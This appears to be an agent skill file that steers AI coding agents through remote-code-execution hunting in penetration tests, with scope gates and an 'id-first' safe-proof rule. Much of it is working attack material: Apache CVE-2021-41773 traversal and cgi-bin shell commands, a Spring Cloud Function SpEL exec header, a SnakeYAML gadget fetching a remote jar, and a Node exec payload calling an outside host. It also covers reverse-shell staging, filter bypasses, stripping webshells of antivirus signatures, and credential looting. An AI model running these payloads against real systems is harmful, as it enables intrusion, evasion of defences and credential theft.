# Hunt Rce

> Turn an execution-context surface into evidence-carrying CANDIDATES for

- Skill: `encod3d-sec/hunt-rce-2` (Agent Skill, multi-file: 4 files)
- Install (CLI): `npx get-skill add encod3d-sec/hunt-rce-2`
- Raw SKILL.md: https://api.skillmd.com/api/skills/encod3d-sec/hunt-rce-2/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: Encod3d-Sec (https://skillmd.com/u/encod3d-sec)
- Updated: 2026-11-16
- Page: https://skillmd.com/skills/encod3d-sec/hunt-rce-2

---


# Hunt: Remote Code Execution (golden-image rework)

Turn an execution-context surface into evidence-carrying CANDIDATES for
remote code execution: eval/exec sinks, config/template-editor writes,
CVE-pinned exploits, YAML gadget loading. This skill produces
candidates, never verdicts - findings leave ONLY through the G1 proof
gate (triage).

> Current emphasis (update on wiki harvest): config/template-editor
> arbitrary writes and version-pinned CVE exploits over blind SSTI
> probing - the newest harvested technique leads until superseded.

**Assumes `hunt-core`** for the scope gate, two-account rule,
confirmation gate, enumeration limits, stop conditions, wiki protocol,
FIND output, and Deadends. Do not re-derive any of that here.

Binary/memory-corruption RCE (a socket service or a handed-out binary)
belongs to hunt-pwn; if routed here for one, say so in one line and
re-route. Template injection DETECTION lives in hunt-injection; this
skill owns the exec escalation. Serialized blobs: hunt-deserialization.

## Wiki

Hub: [[web-moc]] - Primary page: [[os-command-injection]] - Payload
arsenal: `wiki/payloads/command-injection.md`
Anchors: [[ssti]], [[insecure-deserialization]]
**REFS:** [[os-command-injection]], wiki/payloads/command-injection.md
- capability equations + low-severity-to-primitive map:
  [[wiki/techniques/capability-primitives]]

mcp__wiki-search__query (lex) "remote code execution command injection eval CVE" via
wiki-search MCP - ONLY on a concrete hint the map above does not cover;
not a blanket first step.

Shared bypass arsenal: `hunt-rce/references/bypass-arsenal.md` -
separator/keyword/space bypass ladder plus 2025-2026 NEW sink classes:
bash arithmetic-eval (`[ -gt ]` / `$(( ))` double expansion, no
metachars needed - Ivanti EPMM `gPath['sleep 5']` shape), numeric-prefix
+ PEM-preamble partial-validation breaks, second-order log-poisoning ->
shell (NetScaler pre-auth root pattern), and a defense->bypass map.
Walk it whenever the target filters a probe or the sink is non-obvious.

## Paths (binding - define once at the top of the run notes)

    # seat side (wsl) - engagement tree is DOUBLE-NESTED in VMshare:
    ENG_DIR=/mnt/c/Users/Lenovo/Desktop/VMshare/<eng>/<eng>
    RUN=$ENG_DIR/hunt/rce/<host>
    # VM side (WHERE metasploit + listeners run, same tree):
    ENG_DIR=/mnt/VMshare/<eng>/<eng>
    RUN=$ENG_DIR/hunt/rce/<host>

Corpus and probes live in the VMshare tree; the seat reads the same
bytes at the /mnt/c/Users/Lenovo/Desktop/VMshare spelling. The repo tree
targets/<eng> is admin/ingest only - probe artifacts NEVER land there.

## Transport

Every VM-native command block ships through ONE documented transport:

    wsl.exe -d kali-linux -u root bash -c "cd /mnt/c/Users/Lenovo/Documents/ObisidianVaults/ZTorch/ZTorch && bash scripts/vm-ssh.sh '<command>'"

- vm-ssh lands as user tz (NOT root): no root-only paths, no sudo.
- vm-ssh.sh takes the command as ONE argument; quotes ship as base64
  (`echo <b64> | base64 -d | bash` inside the vm-ssh argument).
- Non-login shells do NOT source profile.d: target-facing fetches MUST
  use /opt/scope-shim/bin/{curl,httpx} by absolute path.
- Shim verdict semantics (verified live): out-of-scope dies rc 126
  (never work around); in-scope passes; UNKNOWN gets an ADVISORY -
  not approval; verify against scope.md and self-deny.
- Metasploit runs via its own documented path (quick-reference block);
  long exploits run detached (vm-bg.sh) - the bridge drops at ~2min.

## Entry gate

All four must pass; each is falsifiable:

1. Active engagement exists (repo tree targets/<eng>/active.md) and
   <host> is on targets/<eng>/scope.md in-scope. Scope-guard is the
   deny. (targets/ is the repo admin tree; $ENG_DIR holds corpus and
   run artifacts only - see Paths.)
2. hunt-core loaded (skills/exploit/hunt/hunt-core/SKILL.md).
3. Producer verified - at least ONE of:
   (a) $ENG_DIR/state.md asset table has >= 1 command/template/admin
   endpoint row for <host>; \
   (b) $ENG_DIR/js/<domain>/findings/endpoints.jsonl parses (render/
   import/webhook/template paths count); \
   (c) the tells battery (python3 scripts/tells.py over captured
   responses) flagged a command-exec sink; \
   (d) kickoff seeded $RUN/raw/exec-map.md.
   None = dispatch the surface lane first.
4. Toolchain preflight (fails LOUD):

       # install-on-demand (operator rule): try interactsh before the fatal loop
       [ -x /home/tz/go/bin/interactsh-client ] || { \
           command -v go >/dev/null \
             && HOME=/home/tz go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@v1.2.0 2>/dev/null; }
       for t in /usr/bin/jq /usr/bin/python3 \
                 /opt/scope-shim/bin/curl \
                 /home/tz/go/bin/interactsh-client; do
         [ -x "$t" ] || { echo "MISSING TOOL: $t"; exit 1; }
       done
       # metasploit branch (only when a CVE module is planned):
       command -v msfconsole >/dev/null \
         || { sudo apt-get install -y metasploit-framework 2>/dev/null; } \
         || echo "N/A: msfconsole absent on VM (install failed - needs apt/sudo)"  # manual exploit path

## Checklist (mandatory)

Copy checklist.md (this skill's dir) to
`$ENG_DIR/hunt/rce/<host>/rce-checklist.md` at run start. Unchecked at
stop = UNCHECKED lane, re-run from the first unchecked step. The
SKILL.md text and the checklist header agree byte-for-byte on that
copy target.

## Nudge

Review-skill re-injection text (pinned; NOTE: completion-gate emits
its own generic nudge - both mean: resume at the first unchecked box):

    Your work was just reviewed by the review skill and it was found
    that you either missed a step of analysis, or didn't generate an
    artifact of sufficient proof. Look at the markdown based checklist
    and the output for each step, find what you missed, and complete
    that step.

## Confirmation gate

**NOT confirmation:** a delayed response alone (load, not sleep); an
error echoing your input (reflection != execution); a 500/stack trace
(a parser choking is not code running); {{7*7}} returned literally or
a fixed 200 for every body (the eval-swallow case); 49 from {{7*7}} on
its own (template evaluation, not yet an exec primitive).

**IS confirmation:** injected command output in the response matching
what you ran (uid=... gid=... from id), reproduced in a clean session
against your own written steps; SSTI: 49 PLUS a follow-up payload
reaching an os/runtime primitive and returning output; blind: an OOB
callback correlated to your planted token.

**Blind RCE is OOB-gated, never inferred.** Plant an interactsh/
Collaborator token, append a row to targets/<eng>/oob.md:
`| <token> | <sink url+param> | rce | <date> | waiting | |` (token |
sink | class | planted | status | source). The recon-capture hook
flips waiting -> HIT; a HIT row is the gate to scaffold the FIND. Do
NOT claim a blind RCE without a HIT row.

## RCE quick reference (use this, don't hand-roll)

Every command is a real, tested invocation - the SAME primitive a
hand-rolled exploit script would reimplement worse:

| Operation | Command | Step |
|---|---|---|
| Search/run a vetted Metasploit module for a fingerprinted CVE | `bash /root/vm.sh "msfconsole -q -x 'search <cve-or-product>; exit'"` then `use <mod>; set RHOSTS <ip>; set LHOST <vpn-ip>; run -z; sessions -l; exit` | 0 |
| SSTI universal probe (every config/free-text field) | `{{7*7}}${7*7}#{7*7}<%= 7*7 %>*{7*7}` | 3 |
| Server-side eval/exec sink, OOB-confirmed (Node example; test query AND body) | `curl -sG -X POST --data-urlencode 'cmd=require("child_process").exec("curl http://OOB/x")' TARGET` | 3b |
| YAML deserialization gadget (SnakeYAML) | `!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[!!java.net.URL ["http://YOUR_COLLAB/exploit.jar"]]] ]` | 4 |
| Apache CVE-2021-41773/42013 path-traversal file read | `curl --path-as-is "http://target/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"` | 5 |
| Apache CVE-2021-41773/42013 cgi-bin RCE (cgi-bin alias required) | `curl --path-as-is -X POST -d "echo Content-Type: text/plain; echo; id" "http://target/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"` | 5 |
| Spring Cloud Function SpEL (CVE-2022-22963) | `curl -X POST http://target:8080/functionRouter -H "Content-Type: text/plain" -H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(new String[]{"id"})' --data "x"` | 6 |
| Canary egress check before any callback-dependent payload | `curl -sm2 LHOST/canary` (fired through the sink) | 8 |
| Deliver a stager (serves it + prints the int-IP one-liner) | `bash scripts/stager.sh <lhost> [port] <payload>` | 8 |
| Managed reverse-shell listener | `bash scripts/vm-handler.sh <lhost>` | 8 |

## Methodology

**Rank before probing.** Not every free-text field reaches an
interpreter: config/template editors (Nomad, CI job specs, notification
templates - user text is COMPILED, not just stored; a CMS admin
theme/template editor is arbitrary write into an EXECUTED file with no
CVE needed, and its CSRF token is single-use: re-scrape per POST
[[cms-exploitation]]); import/render/export endpoints (?template=,
?url=, PDF/HTML renderers); admin and management consoles; deserialization
sinks (magic bytes, !! YAML tags, Java AC ED, PHP O:); version-pinned
components (a fingerprinted Apache 2.4.49 / Spring Cloud Function beats
blind probing).

Tech signals: Nomad config UI editable -> Go text/template injection;
SnakeYAML in classpath -> !!javax.script.ScriptEngineManager;
ingress-nginx annotations -> path-field regex bypass; Spring Boot
*-routing-expression header -> SpEL; X-GitHub-Enterprise-Version ->
Nomad/collectd/syslog-ng config injection; Tomcat manager exposed ->
default creds -> WAR deploy (manager-gui-only needs the GUI upload
with a fresh single-use CSRF nonce per POST [[api-request-findings]]).

### Step 0 - Vetted module before hand-rolled

Known CVE/product: check Metasploit FIRST (quick-reference row 1).
If a module exists, run it non-interactively rather than writing
bespoke exploit code - faster, more reliable, exploit logic lives in
the vetted module. Hand-roll only when no module fits.

### Step 1 - Execution-context map

Template engines, shell commands, YAML parsers, file paths, package
resolution; enumerate admin/management interfaces (/management-console,
/admin, /_internal, /setup). Row schema `context | endpoint | evidence`
@ $RUN/raw/exec-map.md.

### Step 2 - SSTI probe (detection owned by hunt-injection)

    {{7*7}}${7*7}#{7*7}<%= 7*7 %>*{7*7}

In every config/free-text field; look for 49 in response, logs, or
OOB DNS. (49 alone = evaluation, not exec - escalate per the gate.)

### Step 3 - Server-side eval/exec sink

An endpoint returning a FIXED message/200 for EVERY body may be
eval()-ing a specific param and swallowing the error. Response-diff
param-mining MISSES this (cmd=test -> eval error -> same message), so
mine with an actual PAYLOAD + OOB, and test BOTH the query string AND
the body (the sink is often on ONE of them only):

    /opt/scope-shim/bin/curl -sG -X POST \
      --data-urlencode 'cmd=require("child_process").exec("curl http://OOB/x")' \
      https://<host>/api/<x>

A callback confirms the sink; then swap the payload for a reverse
shell.

### Step 4 - YAML deserialization gadget

    !!javax.script.ScriptEngineManager [
      !!java.net.URLClassLoader [[!!java.net.URL ["http://YOUR_COLLAB/exploit.jar"]]]
    ]

(Serialized-object depth: hunt-deserialization.)

### Step 5 - CVE-pinned: Apache 2.4.49/2.4.50 traversal-to-RCE

    # File read
    /opt/scope-shim/bin/curl --path-as-is \
      "https://<host>/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"
    # RCE (cgi-bin alias required)
    /opt/scope-shim/bin/curl --path-as-is -X POST \
      -d "echo Content-Type: text/plain; echo; id" \
      "https://<host>/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"

### Step 6 - CVE-pinned: Spring Cloud Function SpEL

    /opt/scope-shim/bin/curl -X POST https://<host>:8080/functionRouter \
      -H "Content-Type: text/plain" \
      -H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(new String[]{"id"})' \
      --data "x"

### Step 7 - Chain + escalate

Low-severity misconfig (CSRF, traversal) + RCE primitive = critical.

### Step 8 - Canary egress + safe staging

BEFORE any callback-dependent payload: fire one $() probe that fetches
a known file from your LHOST through the same sink (curl -sm2
LHOST/canary) and confirm the hit server-side. Multi-homed seats have
several addresses - the target can usually route to only ONE
(wrong-iface payloads hang the app and can wedge a single-threaded
service for minutes). The canary also proves which egress ports
survive the outbound firewall; serve the stager on an allowed port;
encode IPv4 as an integer to fit tight validators
([[websocket-attacks]] client-hint section). Helpers: bash
scripts/stager.sh <lhost> [port] <payload>; bash scripts/vm-handler.sh
<lhost>.

**Safe-PoC first:** every probe runs id (or a bare OOB callback),
never a destructive command. Only after a callback or command output
confirms the sink do you swap in a reverse shell. Never run a
state-changing command to prove exec - id proves it and destroys
nothing.

### Step 9 - Exit artifact (candidates)

Merge probe JSONLs; candidates.md every class section present;
pointer $ENG_DIR/hunt-rce-<host>.md:

    RCE-HUNT-DONE eval=<n> ssti-escalation=<n> yaml=<n> cve=<n> oob=<n>

Plus _requests.md rows (lane = hunt-rce), state.md asset rows,
Deadends rows with the WHY. Every probe JSONL row: {class, host,
endpoint, method, evidence, observed, confidence}; pairs under
probes/raw/ (sha256 filenames). Payload tables: references/
ssti-rce-payloads.md.

## Evasion

Command filters: $IFS (or ${IFS}) for blocked spaces, quote/backslash
breaking (c""url, w\get), base64 -d | sh, wildcard globbing (/???/??t),
$(...) / backticks, env-var indirection. Template keyword filters:
rebuild blocked names via attribute access and concatenation (Jinja
request|attr('application')..., 'os' assembled from chars). WAF on the
body: move the payload to the query string (or vice versa - the 3b
sink frequently lives on one only). Public webshells (Laudanum/Antak/
wwwolf): strip ASCII-art banners and author comments before upload
(common AV signature anchors); set the built-in allowedIps/credential
gate; toolkit locations in [[reverse-shells]]. Marker discipline
(hunt-core): unique 8+ char canary, never "test"; check the baseline
before claiming reflection.

## Chaining

Once exec is confirmed: stabilise before enumerating (a fresh nc/
meterpreter shell is non-tty - sudo -l and su silently return nothing;
upgrade with python pty or the no-python ladder in
[[reverse-shells]]); loot credentials from the foothold (env vars,
config files, cloud metadata, .git-credentials, connection strings ->
hunt-secrets); lateral movement (reused creds, service tokens,
internal trust -> hunt-ad). Report the chain, not just the primitive.

## Validation

- Proof = command output carrying a unique canary (echo <canary>), or
  an OOB callback; version+CVE claims additionally need the CVE's own
  preconditions present in the build (the vulnerable code path, the
  config that enables it); a version string match alone is where
  backported-fix FPs are born.

## False Positives

- Intended admin/exec feature used as designed (diagnostics console =
  feature).
- WAF 403 read as "patched" (blocked != fixed; retry per evasion
  ladder).
- Container whoami output read as HOST context (check hostname).
- Deserialization ERROR read as execution (error != RCE).
- --version matched to a CVE whose fix was backported without a
  version bump.

## Cross-routing

- hunt-deserialization when the vector is a serialized object.
- hunt-injection for the SSTI lineage (template -> exec detection).
- hunt-upload when the payload ships as a file.
- hunt-cicd when the exec context is a pipeline runner.
- hunt-pwn for binary/memory-corruption RCE.

## Severity

| Outcome | Severity |
|---|---|
| Command output returned or OOB callback received (RCE) | CRITICAL |
| SSTI reflected, reaches output but no exec primitive | HIGH |
| SSTI sandboxed - arithmetic only, no sandbox escape | MEDIUM |

Rate on demonstrated execution. Unauthenticated/pre-auth RCE outranks
post-auth by a band. A sink reachable only with a precondition you
cannot meet lowers it.

## Deadends

    Append: - [ ] RCE on <host> <field> -- eval/SSTI/YAML/CVE-pinned
    all clean; sinks enumerated, canary egress verified, module search
    empty

## N/A escapes

- "N/A: msfconsole absent on VM (install failed - needs apt/sudo)" (manual exploit path)
- "N/A: no config/template editors"
- "N/A: no deserialization surface"
An N/A tick is a claim with a reason, never a silent pass. Identical
strings in SKILL.md and checklist.md.

## Bitter-pill variant

Freehand run: skip checklist + numbered steps, one freehand pass over
the exec map, output ONLY $RUN/analysis/bitter-pill.md (tried/found/
dismissed, every claim carries evidence). The OOB/output gate survives
freehand. Declare with a _requests.md row (lane = hunt-rce-bitterpill).

### Depth walk (mandatory)

Walk EVERY applicable row of the payload arsenal page cited above.
Record each row in `$RUN/coverage-depth.md` as a table
`| row | state | evidence |` where state is `probed`, `blocked`, or
`N/A`, and evidence is a probe-pair path or a Deadends.md line. A bare
`probed` with no evidence reference fails the completion gate
(NEEDS-REVIEW). N/A rows cite why (surface shape forbids it).

Blocked implies research: before any Deadend is claimable on a blocked
row, (a) walk the arsenal page's bypass-ladder rows for that control
class, and (b) run one wiki query AND one `mcp__wigolo__search` for the
specific tech-plus-control bypass. Results, or a genuine null, land in
`coverage-depth.md`. "No research tried" is not a claimable state.

## Exit artifact + handoff

ONE exit artifact set: $RUN/candidates.jsonl + candidates.md +
$ENG_DIR/hunt-rce-<host>.md (pointer with RCE-HUNT-DONE + counts).
Consumer (triage) finds at $RUN: raw/exec-map.md, probes/*.jsonl,
probes/raw/*, candidates.{jsonl,md}. Findings leave ONLY through G1.
Distill: `python3 scripts/wiki-stage.py --kind technique --slug <slug>
--target-page techniques/web/os-command-injection.md`.

## Stop conditions

Terminal states complete; nothing written into skill dirs; no
unchecked boxes above REVIEW; hunt-core stop conditions fire unchanged
(real user data = stop; destructive next step = stop; a confirmed exec
primitive on a live box = report at the primitive).

## Attack surface

**APPROACH:** Rank config/template editors, render/import endpoints and deserialization sinks first; prefer a vetted Metasploit module for a fingerprinted CVE, probe SSTI (`{{7*7}}`) and eval sinks (query AND body) with a safe `id`/OOB payload, then swap in a shell only after exec is proven.
**AVOID:** A delayed response, a reflected input, a 500/stack trace, or `{{7*7}}`->49 alone is NOT RCE - blind RCE needs an OOB HIT and SSTI needs a follow-up payload reaching a runtime primitive.

